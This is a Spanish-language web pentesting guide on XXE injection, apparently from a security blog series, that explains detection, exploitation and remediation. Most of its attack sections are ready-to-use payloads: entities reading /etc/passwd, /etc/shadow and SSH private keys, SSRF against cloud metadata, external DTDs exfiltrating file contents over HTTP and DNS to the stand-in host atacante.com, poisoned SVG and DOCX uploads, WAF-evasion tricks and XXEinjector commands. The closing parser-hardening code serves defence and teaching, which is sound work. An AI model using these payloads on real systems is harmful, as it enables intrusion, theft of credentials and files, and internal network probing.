La inyección de XML External Entity (XXE) es una de las vulnerabilidades más peligrosas en aplicaciones web — capaz de leer archivos del servidor, desencadenar SSRF y lograr ejecución remota de código en las condiciones correctas.
Lleva años en el OWASP Top 10 y sigue presente en sistemas en producción. El motivo: los desarrolladores habilitan parsers XML con procesamiento de entidades externas activado por defecto y nunca lo desactivan.
Esta guía cubre detección, explotación, exfiltración de datos fuera de banda, XXE ciego y bypass de WAF — con payloads listos para usar en tu próximo pentest.
¿Qué es XXE?
XXE significa XML External Entity injection (inyección de entidad externa XML). Explota cómo los parsers XML procesan referencias a entidades externas definidas en una Document Type Definition (DTD).
Cuando una aplicación parsea XML controlado por el usuario, un atacante puede inyectar una DTD personalizada que referencia recursos externos — como archivos locales, recursos de red interna o servidores remotos.
Ejemplo mínimo:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
Si el parser procesa esto, el contenido de /etc/passwd se devuelve en la respuesta. Eso es XXE en su forma más simple.
Por Qué los Parsers XML Son el Problema
La mayoría de los parsers XML están configurados para resolver entidades externas por defecto. La aplicación no necesita “soportar” XXE — solo necesita parsear XML sin deshabilitar esa característica.
Encontrarás XXE en:
- Servicios web basados en SOAP
- APIs REST que aceptan
Content-Type: application/xml - Funcionalidades de subida de archivos (DOCX, SVG, XLSX usan XML internamente)
- Parsers de feeds RSS/Atom
- Flujos de autenticación SAML
- Parsers de archivos de configuración
Tipos de Ataques XXE
1. XXE Clásico (In-Band)
Los datos extraídos se devuelven directamente en la respuesta. Es el más fácil de explotar y de detectar.
2. XXE Ciego (OOB)
No hay datos en la respuesta. Se exfiltra mediante un canal fuera de banda (consulta DNS o petición HTTP a tu servidor).
3. XXE Basado en Errores
Se desencadenan errores del parser que incluyen el contenido de archivos en el mensaje de error.
4. XXE como SSRF
Usar referencias a entidades externas para sondear recursos de la red interna.
5. XXE como RCE
Raramente posible de forma directa, pero alcanzable mediante el wrapper expect:// de PHP o lógica específica de la aplicación.
Detección
Paso 1: Identificar Puntos de Entrada XML
Busca peticiones con:
Content-Type: application/xmlotext/xml- Cuerpo estructurado como XML (
<?xml,<root>, sobres SOAP) - Endpoints de subida de archivos (sube un SVG o DOCX malicioso)
- Peticiones SAML (XML en base64 en parámetros POST)
Paso 2: Inyectar un Payload Básico
Intercepta la petición en Burp Suite e inyecta una DTD mínima:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe "cadena_de_prueba">
]>
<root><data>&xxe;</data></root>
Si la respuesta contiene cadena_de_prueba, el parser está resolviendo entidades — continúa con la lectura de archivos.
Paso 3: Probar Lectura de Archivos
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
Busca el contenido del passwd en la respuesta.
Paso 4: Escaneo Activo con Burp Suite
Burp Scanner (Pro) detecta automáticamente XXE en parámetros XML. Para pruebas manuales, Burp Repeater es tu herramienta principal.
Si estás configurando un laboratorio de práctica, Vultr te da un VPS limpio para ejecutar DVWA, WebGoat o tu propia app vulnerable — $5/mes, levanta y destruye cuando quieras.
Explotación
Lectura de Archivos Locales
Objetivos Linux:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/usuario/.ssh/id_rsa">
]>
<root>&xxe;</root>
Objetivos Windows:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/inetpub/wwwroot/web.config">
]>
<root>&xxe;</root>
Lectura de Código Fuente PHP
El wrapper php://filter de PHP permite codificar el contenido de archivos en base64 antes de devolverlos — evita problemas con caracteres especiales que rompen el XML:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>&xxe;</root>
Decodifica la respuesta en base64 para obtener el código fuente PHP en bruto.
XXE como SSRF
Sondear servicios internos:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
Esto apunta al servicio de metadatos de AWS. Si devuelve datos, puedes enumerar credenciales IAM, identidad de instancia, etc.
Escaneo de puertos interno:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22/">
]>
<root>&xxe;</root>
Las diferencias en tiempo de respuesta y contenido revelan puertos abiertos vs cerrados.
Entidades de Parámetros en Ataques DTD
Cuando las entidades inline están bloqueadas, usa entidades de parámetros (prefijadas con %) para inyecciones más avanzadas:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://atacante.com/?data=%file;'>">
%wrap;
]>
<root>&exfil;</root>
Nota: Muchos parsers no permiten entidades de parámetros dentro de subconjuntos DTD internos. Necesitarás una DTD externa para explotar entidades de parámetros completamente.
XXE Ciego y Exfiltración Fuera de Banda
Cuando la respuesta no devuelve datos, necesitas técnicas OOB.
Configurar tu Listener
Usa cualquier servidor que registre peticiones entrantes. Opciones:
nc -lvnp 80- Servidor HTTP Python:
python3 -m http.server 80 - Burp Collaborator (Pro) — la opción más cómoda
- interactsh — gratuito y open source
En un VPS (DigitalOcean funciona bien para esto — levanta uno en minutos):
python3 -m http.server 80
Detección Basada en DNS (XXE Ciego)
Test mínimo de XXE ciego:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://TU-URL-COLLABORATOR.com/">
]>
<root>&xxe;</root>
Una consulta DNS o petición HTTP a tu servidor confirma que XXE existe incluso sin respuesta in-band.
Exfiltración OOB mediante DTD Externa
Aloja una DTD maliciosa en http://atacante.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://atacante.com/?data=%file;'>">
%oob;
Luego referencíala en tu payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://atacante.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>
Flujo:
- El parser descarga tu DTD externa
- La DTD define
%file(lee/etc/passwd) - La DTD construye una entidad que hace una petición HTTP con el contenido del archivo
- Recibes los datos en los logs de tu servidor
OOB Solo vía DNS (Bypass de Firewall)
Si el tráfico HTTP saliente está bloqueado pero el DNS no (común en redes corporativas), codifica los datos en subdominios DNS:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://%file;.atacante.com/'>">
El hostname queda embebido en la consulta DNS. Monitoriza los logs de tu servidor DNS.
XXE Basado en Errores
Desencadena un error del parser que incluye el contenido del archivo en el mensaje de error:
DTD externa (error.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY % err SYSTEM 'file:///NOEXISTE/%file;'>">
%error;
%err;
Payload:
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://atacante.com/error.dtd">
%dtd;
]>
<root/>
El parser intenta abrir un archivo inexistente usando el contenido del passwd como parte de la ruta — el mensaje de error filtra el contenido del archivo.
XXE mediante Subida de Archivos
Las aplicaciones que procesan archivos subidos frecuentemente parsean XML internamente.
XXE en Subida de SVG
SVG es XML. Si la app renderiza o procesa SVGs en el lado del servidor:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Súbelo como evil.svg. Si la app incluye el contenido del SVG en su respuesta o error, tienes XXE.
XXE en DOCX/XLSX/PPTX
Los formatos Office Open XML son archivos ZIP que contienen archivos XML. Para inyectar:
- Crea un DOCX legítimo
- Descomprime:
unzip documento.docx -d contenido_docx/ - Edita
word/document.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
<w:body>
<w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
</w:body>
</w:document>
- Reempaqueta:
cd contenido_docx && zip -r ../evil.docx . - Sube a cualquier funcionalidad de procesamiento de documentos
XXE en SAML
Las peticiones de autenticación SAML son XML codificado en base64. Si la app procesa SAML sin deshabilitar entidades externas:
- Intercepta la aserción SAML en Burp
- Decodifica el base64
- Inyecta tu payload XXE
- Recodifica y envía
Técnicas de Bypass de WAF
Codificación
XML soporta múltiples codificaciones. Prueba:
<?xml version="1.0" encoding="UTF-16"?>
Convierte tu payload a UTF-16 antes de enviarlo. La mayoría de los WAFs hacen matching de patrones en UTF-8.
cat payload.xml | iconv -f UTF-8 -t UTF-16LE > payload_utf16.xml
Transfer Encoding Chunked
Envía el payload en encoding HTTP chunked. Los WAFs que solo buferizan peticiones cortas pueden no detectar la inyección:
Transfer-Encoding: chunked
10
<!DOCTYPE foo [
10
<!ENTITY xx
...
Anidamiento de Entidades
Algunos WAFs bloquean las palabras clave SYSTEM o file://. Prueba con referencias a entidades anidadas o variaciones de espacios en blanco:
<!DOCTYPE foo [
<!ENTITY % a "fil">
<!ENTITY % b "e:">
<!ENTITY % c "///etc/passwd">
<!ENTITY % combined "<!ENTITY xxe SYSTEM '%a;%b;%c;'>">
%combined;
]>
<root>&xxe;</root>
Namespaces Alternativos de Entidades de Parámetros
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://atacante.com/evil">
]>
vs.
<!DOCTYPE foo PUBLIC "-//W3C//DTD XHTML 1.0//EN" "http://atacante.com/evil">
El identificador PUBLIC también puede usarse para desencadenar fetches de recursos externos en algunos parsers.
Manipulación de Content-Type
Si la app solo permite application/json pero procesa XML: intenta cambiar Content-Type: application/xml y enviar un cuerpo XML. Muchas apps aceptan ambos sin validar el tipo declarado.
Herramientas
Burp Suite
La referencia para testing manual de XXE. Usa:
- Intercept para capturar peticiones XML
- Repeater para modificar y reenviar payloads
- Burp Collaborator (Pro) para detección OOB ciega
- Active Scanner (Pro) para detección automática de XXE
XXEinjector
XXEinjector — herramienta en Ruby que automatiza la explotación XXE incluyendo exfiltración OOB de archivos:
ruby XXEinjector.rb --host=atacante.com --path=/etc/passwd --file=peticion.txt --oob=http
xml_cannibalist
Herramienta Python sencilla para construir payloads XXE:
git clone https://github.com/r0oth3x49/xml_cannibalist
python3 xml_cannibalist.py -f /etc/passwd
Interactsh
Alternativa gratuita a Burp Collaborator para detección OOB:
interactsh-client
Te da un subdominio. Cualquier hit DNS/HTTP queda registrado.
Entornos de Práctica
WebGoat
La app intencionalmente vulnerable de OWASP incluye retos de XXE:
docker run -d -p 8080:8080 webgoat/goat-and-wolf
DVWA con Plugin XML
Portswigger Web Security Academy
Labs de XXE gratuitos y en el navegador que cubren cada escenario de esta guía. Sin configuración previa.
XXE vs Otros Tipos de Inyección
| XXE | SSRF | SQL Injection | |
|---|---|---|---|
| Vector de ataque | Parser XML | Petición HTTP | Query SQL |
| Fuente de datos | Archivos locales, HTTP interno | Servicios internos | Base de datos |
| Técnica ciega | OOB DNS/HTTP | Timing de respuesta | Boolean/time-based |
| Bypass de WAF | Codificación, chunked | Codificación URL, HTTPS | Comentarios, codificación |
| Mejor herramienta | Burp Suite | Burp Suite | sqlmap + Burp |
Defensa y Remediación
Deshabilitar Entidades Externas (la solución)
Java (DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Python (lxml):
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)
PHP:
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);
.NET:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(xmlStream, settings);
Usar JSON en su Lugar
Si XML no es necesario, migra a JSON. Sin soporte de DTD = sin superficie de ataque XXE.
Validación de Entrada
Filtra el XML del usuario por las palabras clave DOCTYPE, ENTITY, SYSTEM y PUBLIC. Útil como defensa en profundidad, pero no como control primario — el encoding lo evade.
Reglas de WAF
OWASP CRS incluye firmas de detección de XXE. No suficiente por sí solo, pero útil como capa adicional:
SecRule REQUEST_BODY "@contains <!DOCTYPE" "id:9001,deny,status:403"
Resumen
XXE es explotable en cualquier lugar donde una aplicación parsee XML controlado por el usuario sin deshabilitar el procesamiento de entidades externas. En 2026, sigue encontrándose en flujos SAML empresariales, procesadores de documentos y servicios SOAP heredados.
Técnicas clave:
- Clásico: inyectar entidad
SYSTEM "file://...", leer en respuesta - OOB ciego: alojar DTD externa, exfiltrar via HTTP/DNS a tu servidor
- Basado en errores: desencadenar errores del parser que incluyan contenido de archivos
- Subida de archivos: explotar parsers de SVG, DOCX, XLSX
- SAML: decodificar base64, inyectar, recodificar
La solución es simple: deshabilitar el procesamiento de entidades externas en tu parser XML. La configuración por defecto de la mayoría de parsers es insegura — tienes que desactivarlo explícitamente.
Continúa Aprendiendo
Esta guía es parte de la serie de Pentesting de Aplicaciones Web de RTG:
- Guía de Pentesting de Aplicaciones Web 2026 — visión general de metodología
- Guía de Ataques SQL Injection 2026 — detección, explotación, bypass
- Guía de Ataques XSS 2026 — reflected, stored, DOM-based
- Guía de Ataques CSRF 2026 — tokens, SameSite, bypass
- Guía de Ataques SSRF 2026 — acceso a servicios internos, metadatos cloud
¿Necesitas un informe de pentest que soporte el escrutinio? CipherWrite entrega contenido técnico de seguridad escrito por profesionales — conoce nuestros servicios .
